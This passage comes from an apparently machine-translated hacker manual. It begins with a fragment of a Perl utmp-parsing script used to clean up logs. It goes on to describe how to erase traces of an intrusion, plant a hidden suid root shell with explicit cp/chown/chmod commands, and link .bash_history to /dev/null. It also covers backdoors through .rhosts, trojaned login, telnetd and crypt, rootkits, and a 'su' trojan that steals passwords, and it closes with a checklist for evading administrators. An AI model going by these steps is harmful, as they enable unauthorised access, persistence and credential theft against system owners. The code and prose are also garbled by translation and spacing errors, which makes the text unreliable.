print "Ports with valid shells: @validshellports \ n"
if (defined (@validshellports));
print "Ports with active processes and * no * shells: @noshellports \ n"
if (defined (@noshellports));
}
# GENERAL
sub readfile {
local ($ file);
$ file = shift;
my ($ index) = 1;
my ($ buffer) = "";
# Insure we have a clean hash table before we start reading in the file.
foreach (keys (% entries)) {
undef (% {$ entries {$ _}});
delete ($ {entries {$ _}});
}
open (UTMPFILE, "<$ file") || die ("utmp-parse: Can't open $ file - $! \
n");
binmode (UTMPFILE);
# 1/17/96, struct utmp is 56 bytes (54 according to addition!: P).
while (read (UTMPFILE, $ buffer, 56)) {
$ entries {$ index ++} = newutmp ($ buffer);
}
$ active_file = $ file;
print ("$ active_file:". scalar (keys (% entries)). "entries loaded. \ n");
close (UTMPFILE);
}
sub newutmp {
my ($ newbuff) = shift;
my ($ longaddr) = 0;
$ newnode = bless {
"type" => undef, "pid" => undef, "line" => undef, "id" => undef,
"time" => undef, "user" => undef, "host" => undef, "addr" => undef
}, 'UTMPNODE';
@ {$ newnode} {qw (type pid line id time user host addr)} =
unpack ("i L a12 a4 L a8 a16 a4", $ newbuff);
return $ newnode;
}
sub newport {
$ newnode = bless {
"port" => undef, "rdev" => undef, "owner" => undef, "cmd" => undef,
}, 'PORTNODE';
@ {$ newnode} {qw (port rdev owner)} = @_;
return $ newnode;
}
sub newproc {
$ newnode = bless {
"cmd" => undef, "port" => undef,
}, 'PROCNODE';
@ {$ newnode} {qw (cmd port)} = @_;
return $ newnode;
}
sub longtodot4 {
my ($ addr) = shift;
return join (".", map (ord ($ _), split (//, $ addr)));
}
sub dev2id {
my ($ portlist, $ rdev) = @_;
foreach (sort (keys (% {$ portlist}))) {
return $ _ if (% {$ portlist} -> {$ _} -> {"rdev"} == $ rdev);
}
return undef;
}
sub listpos {
my ($ arrayref, $ search) = @_;
my ($ count) = 0;
$ ^ W = 0;
foreach (@ {$ arrayref}) {
return $ count if ($ search eq $ {$ arrayref} [$ count]);
$ count ++;
}
$ ^ W = 1;
return undef;
}
sub SecsSince1970 {
# Parse as mm / dd / [cc] yy [: hh: mm [: ss]]
my ($ datetime) = shift;
my ($ m, $ d, $ y, $ h, $ mn, $ s) = ();
# If date is not defined, then return local current date and time.
return time () if (! defined ($ datetime));
$ datetime = ~
s! ^ (\ d {1,2}) / (\ d {1,2}) / (\ d {4} | \ d {2}) (?: \: (\ d {2}) :( \ d {2})
(?: \: (\ d {2}))?)? !!;
($ m, $ d, $ y, $ h, $ mn, $ s) = ($ 1, $ 2, $ 3, $ 4, $ 5, $ 6);
$ m--;
# Finalize time components and check them.
$ y = (($ y <70)? "20": "19". $ y) if (length ($ y) == 2);
# This checks for any * non-matched * portion of $ datetime. If there is
such
# an animal, then there is illegal data specified. Also screens for undefined
# components which HAVE to be in ANY valid date / time (ie, month,
day, year).
return undef if (! defined ($ m) ||! defined ($ d) ||! defined ($ y) ||
length ($ datetime));
# Set time components with unspecified values.
$ s = 0 if (! defined ($ s));
$ mn = 0 if (! defined ($ mn));
$ h = 0 if (! defined ($ h));
# Check for ranges.
return undef if (($ m> 11) || ($ h> 23) || ($ mn> 59) || ($ s> 59));
# Begin conversion to seconds since 1/1/70.
my ($ sec_now, $ sec_70) = ();
$ sec_now = DaysSince999 ($ m, $ d, $ y);
return undef if (! defined ($ sec_now));
$ sec_now--;
$ sec_now = $ sec_now * 24 * 3600 + $ h * 3600 + $ mn * 60 + $ s;
$ sec_70 = 30610224000;
return ($ sec_now- $ sec_70);
}
sub DaysSince999 {
my ($ m, $ d, $ y) = @ _;
my ($ Ny, $ N4, $ N100, $ N400, $ dayofyear, $ days) = ();
my ($ cc, $ yy) = ();
$ y = ~ / ^ (\ d {2}) (\ d {2}) $ /;
($ cc, $ yy) = ($ 1, $ 2);
# Number of full years since Dec 31, 0999
$ Ny = $ y-1000;
# Number of full 4th years (incl. 1000) since Dec 31, 0999
$ N4 = int (($ Ny-1) / 4) +1;
$ N4 = 0 if ($ y == 1000);
# Number of full 100th years (incl. 1000)
$ N100 = $ cc-9;
$ N100-- if ($ yy == 0);
# Number of full 400th years
$ N400 = int (($ N100 + 1) / 4);
# Check to insure that information returns a valid day of year.
$ dayofyear = dayofyear ($ m, $ d, $ y);
return undef if (! defined ($ dayofyear));
# Compute day of year.
$ days = $ Ny * 365 + $ N4 - $ N100 + $ N400 + $ dayofyear;
return $ days;
}
sub dayofyear {
my ($ m, $ d, $ y) = @ _;
my (@daysinmonth) = (31,28,31,30,31,30,31,31,30,31,30,31);
my ($ daynum, $ i) = ();
$ daysinmonth [1] = 29 if (! ($ y% 4));
# Return error if we are given an invalid date.
return undef if ($ d> $ daysinmonth [$ m]);
$ daynum = 0;
for ($ i = 1; $ i <$ m; $ i ++) {
$ daynum + = $ daysinmonth [$ i];
}
$ daynum + = $ d;
return $ daynum;
}
----------------------
Chapter VI
Delete the log files
----------------------
------------------------------
Section 6A
A ride in a hacked system
------------------------------
We will never stop telling you! Clean, Clean !!! In this section we will take
you
in a system and we'll show you some basics on how to search for and how
to get rid of the
your presence from the system. To start, let's log into a system:
****** -> look who's in the car
[/ home / master] finger @ victim.net
[victim.net]
No one logged on.
****** -> Ok there is nobody, we can log in
[/ home / master] telnet victim.net
Trying xxx.206.xx.140 ...
Connected to victim.net.
Escape character is '^]'.
Welcome to Victim Research Linux (http://www.victim.net) Red Hat 2.1
Kernel 1.2.13 on a i586
----------------------------------------
Chapter 7
Get access to the machine
----------------------------------------
There are many ways to gain access to a machine, at first you will lose
login as fast as you are learning, but I hope this
manual and some experience make you a good hacker.
--------------------
Section 7a
Tricks and secrets
--------------------
There are some tricks that will allow you to gain access to the machine.
After an administrator catches you, he will check the whole system.
He will recompile the system files, change all his passwords
users, will prohibit your host from accessing his machine, will check
password files etc ...
When you see that you have been discovered, don't try to go into that again
system. I saw people who, despite being discovered, were looking for
to use their exploits, their backdoors and accounts. You are controlled
and it's much easier for them to get you.
NO! EVEN A MOMENT! Leave him a few months, they think it's okay
and they will relax. so you can re-enter using one of the backdoors
that they forgot to cancel.
Ok it's time to give some tricks ...
History Files
-------------
Always put your .bash_history in / dev / null, if you're sure you don't have
to
edit it. Remember that .bash_history will always have your last command
first
of the logoff. So if you edit it, it will show you were editing it.
You could try to change your shell and edit it there but it's a mess, it's
better set it to / dev / null
1. Delete the file in the user's directory .bash_history if there is
2. Type the command in the home directory: ln -s / dev / null .bash_history
Nested directories:
---------------------
Always find a directory on the system to hide your files. There are
some in which users never look.
In the user's home directory look for .term, everything you will find in this
directory is an executable called termrc. Administrators and users
they rarely look at this hidden directory and NEVER enter it.
So we will make termrc a little bigger, and add the permissions to it
suid ... do you get the idea? Hope you guessed ... go to the / bin directory
and type: cp bash (or sh or the shell that exists) ~ username / .term / termrc
then type: chown root ~ username / .term / termrc
: chgrp root ~ username / .term / termrc
: chmod + s ~ username / .term / termrc
You now have a nested file that can give you root access whenever
you want and which is difficult for the administrator to identify. If you then
want
being cool changes the date to make the file look old.
Another unused directory in the user's account might be .elm,
.term or Mail, or try to create a directory called '...', this is difficult
to identify, since the first dir that are shown are '.' is '..'.
This is what appears after an ls:
1024 Jan 29 21:03.
1024 Dec 28 00:12 ..
1024 Jan 29 21:03 ...
509 Mar 02 1996 .bash_history
22 Feb 20 1996 .forward
164 May 18 1996 .kermrc
34 Jun 06 1993 .less
114 Nov 23 1993 .lessrc
1024 May 18 1996 .term
1024 May 19 1996 public_html
if an ls -l comes in, this is what you see:
1024 May 19 1996 public_html
Remember that you can always look for some REAL LONG file path where
you are sure
that nobody ever enters, and use it for nested directories. You always can
create your directory (...);)
You can also delete posts if you see some other admin say
that someone on the system you are on is hacking his machine. Eh, the spy
you don't;).
To find a mail reader that allows you to read mail without updating
pointers, try:
http://obsidian.cse.fau.edu/~fc
Here are utilities that manage to cat / var / spool / mail without changing
the date of the last reading.
Also remember that you can find other system mail in user directories
Make sure you look in the / root directory. Look in / root / mail or
username / mail or other directories containing old mails.
Good hunting...
------------
Section 7B
Backdoors
------------
Creating a backdoors is one of the simplest and equally most
safe
to maintain root access to a system. In addition to those already seen
we propose some ideas that you can easily realize.
Backdoors provide two or three main functions:
1. "Grants" access to the system even if the administrator tries to
make it
more secure, for example by changing all passwords.
2. "Grants" access to the machine in a less visible way for
the administrator.
Some of them can make you invisible to those who control the
system.
3. Provides access to the machine much faster than when
he tried to exploit it.
Backdoors 1: Cracking the password file
One of the oldest methods of gaining access to a system. Of this
we talked about it in depth in chapter 2.
Backdoor 2: Rhosts ++
On Unix machines, some services like Rsh and Rlogin use a simple method
identification based on the hostnames that appear in the .rhosts file.
The administrator can choose which machines do not need passwords for
connect. Just insert the line "+ +" in the rhost file. In this case
anyone who remotely connects to that machine does so without entering the
password. Each user also has a .rhosts file in his HOME. If
manages to modify it by adding "+ +" you can do a rlogin to that user
and enter without password !!
ATTENTION that many administrators check the presence of the two + in
everyone
the .rhosts !!!!
Backdoor 3: Checksum and Timestamp
Many hackers replace system files with their own trojan horses.
As many administrators rely on programs to find out
which check the checksum and time-stamp like the famous UNIX sum.
As a countermeasure, the hackers in turn built programs that
they recreate the original time-stamp to the trojans. All this by sending back
the system clock to the time of the original file then changing the time of
trojan at system time. Once the trojan has the time of the original
the system clock is reset.
The sum program relies on checking the CRC of files but it often comes
spoofes. We hackers have developed programs that modify Trojans
in order to have the original checksum, driving admins crazy.
MD5 checksum is based on an algorithm that no one has been able to do so
far
spoof.
Backdoor 4: Login
In UNIX the login program is the one that deals with the identification and
control of logins and passwords when logging on to a machine.
The hackers recompile the login.c file so that the login + passwords are
entered
users are logged into a file in some directory. In this way
the hacker reads this file and has all the logins and pwds ready in one dish
of silver. This way you can log in without the administrator noticing
something strange. Many adms find these backdoors with MD5.
Backdoor 5: Telnetd
When a user telnet to a machine, the inetd service listens
on that port it receives the connection and passes it to in.telnetd, it executes
many controls on the user such as the type of terminal he is using.
Generally the terminal is set to Xterm or VT100. The hacker can do so
which, for example, when the terminal is set to "letmain" in.telnetd
send a shell without doing any checks. Obviously, to do this it is necessary
change the in.telnetd. This is just an example, the services available
there are many and as many backdoors can be invented
Backdoor 6: Libraries
Most Unix systems use shared libraries. These
libraries are used by more programs so as not to burden the
code of each individual. Hackers modify routines like cript.ce
_crypt.c to get the benefits. For example, programs like login.c
they use the crypt () routie; you can change the code so that if you insert
a certain password a suid shell is opened. so even if the administrator
use MD5 on the login program will not notice anything irregular. Rarely
adm control libraries with MD5. If it happens, you can use it
a little shortcut. It is possible to modify the access libraries to
file like open () so that the original file is read but comes
run the trojan version. This way when MD5 checks a file
the correct one is read, so the checksum is correct, but it is executed
the trojan. Funny isn't it? The libraries themselves are not intercepted.
Beware, however, that some adm compile programs with static links, in
so as not to use coded libraries.
Backdoor 7: File system
As we know when we enter a system we need a series
sniffers, logs, rootkit exploits etc. to continue hacking. But here
but a problem ... How to hide these programs from the administrator?
Sure, because if you find them ... Then you can either modify the
commands "ls", "du"
and "fsck" to hide the existence of our tools, or it is possible
create a section of the hard disk marked as bad sector. so the hacker
can only access it with special tools, but for the administrator it is difficult
identify that a space is hidden under the bad sector brand
available for us ...
--------------------------
Section 7C
Root & Demon Kit and Trojan
--------------------------
Root Kits are C sources for ps, login, netstat and other hacked programs
for you. With these kits you will be able to change the login files in the
hacked box
so that you can log in without an account on the machine.
You will also be able to patch the ps so you won't be detected when
an administrator uses the ps command. With the ps patched you can also not
do
show processes that have certain names, for example those starting with
'sniff';)
The demon kits have hacked programs for identd, login demon, ping, su,
telnetd
and socket.
Trojans are all those files that allow you to exploit the system in
some way. A 'su' Trojan placed in the administrator's directory yes
it will execute when the admin calls it to do some operation. After that
he will enter his password, the trojan 'su' will tell him that the password
entered is wrong and will automatically delete itself after saving the
password in the
directory / tmp. At this point the admin will believe that he typed wrong
and try again. This time the real thing starts and everything will proceed
normally.
A login trojan, on the other hand, will save all logins and passwords in a file
for
you.
********************************************
* Appendix I - What to do after login *
********************************************
I think in this manual we have described most of the things that
must be done after a login, however, let's redescribe the steps in a list
from a to z.
to. find out who the system administrators are
b. scan the system with ps -auxe and ps -auxef (if it works) and pstree for
see what other users are doing
c. read all bash history files or all history files that you can
find on the machine to learn more about users.
d. it creates backdoors in the system so as not to be detected
is. keep access for yourself and do not give user passwords to other people
in the
machine where you are root.
f. always delete your utmp and wtmp when you connect
g. always delete your posts including your xferlogs
h. if you have root access be sure to read /etc/syslog.conf and
/etc/login.defs to see how the system is logged.
the. before changing files check the root cron to see what is running
j. look for md5 on sitsema
k. look for separate ftp logs
L. be sure to clear the www logs if you have sent phf commands to the
server
m. create a suid root shell and put it somewhere on the system
n. just do what you are sure you can do
or. only use nested directories, don't put files in user directory where
just do a ls to see them
p. do not add user accounts and think they will not discover you
q. do not use pine or other mail programs to read users' emails. Self
you want to read the mails go to the mail directory and read them from
here, the mails
new ones you will find in / var / spool / mail
r. don't change the system in such a way that other programs that run don't
work more
s. do not delete files from the system unless you put them yourself.
t. do not modify the web pages
u. don't change any system passwords (unless you're doing it for
log into the system by saving the passwd and replacing it after you are
logged in
connected)
v. do not use the root account for irc logins or to upload a bot
w. if your root account changes or you create files that are group owners
wrong, make sure you chown the files
x. don't use .rhosts if there is one already in use
y. do not download or use ftp from the hacked box
z. don't fuck their car! Do what you know how to do.
************************************************** **
* Appendix II - Hacking / Security Sites www / ftp *
************************************************** **
IRC QuantumG #virus
Quantum's Linux Page
http://obsidian.me.fau.edu/~quantum
Good site for information on unix exploits
CyberToast's Files section
Here you will find a good section dedicated to H / C / P / V hex editors,
scanners etc.
www.ilf.net/~toast/files
Reptiles Realm
Good site for linux exploits
www.users.interport.net/~reptile/linux
Ftp site on IRC, BOTS, UNIX EXPLOITS, VIRUSES and ZINES!
http://ftp.giga.or.at/pub/hacker
Linux Security Digest
http://king.dom.de/~un/linux-security
Linux Security Alert
http://bach.cis.temple.edu/linux/linux-security/Linux-Alerts
The Linux Security Home Page
http://www.ecst.csuchico.edu/~jtmurphy
To find the sites just do a search with Yahoo, Altavista and Astalavista
(astalavista.box.sk) with key hacking, hack, crack ...
**************************************
* Appendix III - UUENCODATED Files *
**************************************
1. Quantum's bindwarez utility uuencoded
Bindwarez binary file for use with the 'Quantum's PHF guide' to obtain
account (see PHF section in this text)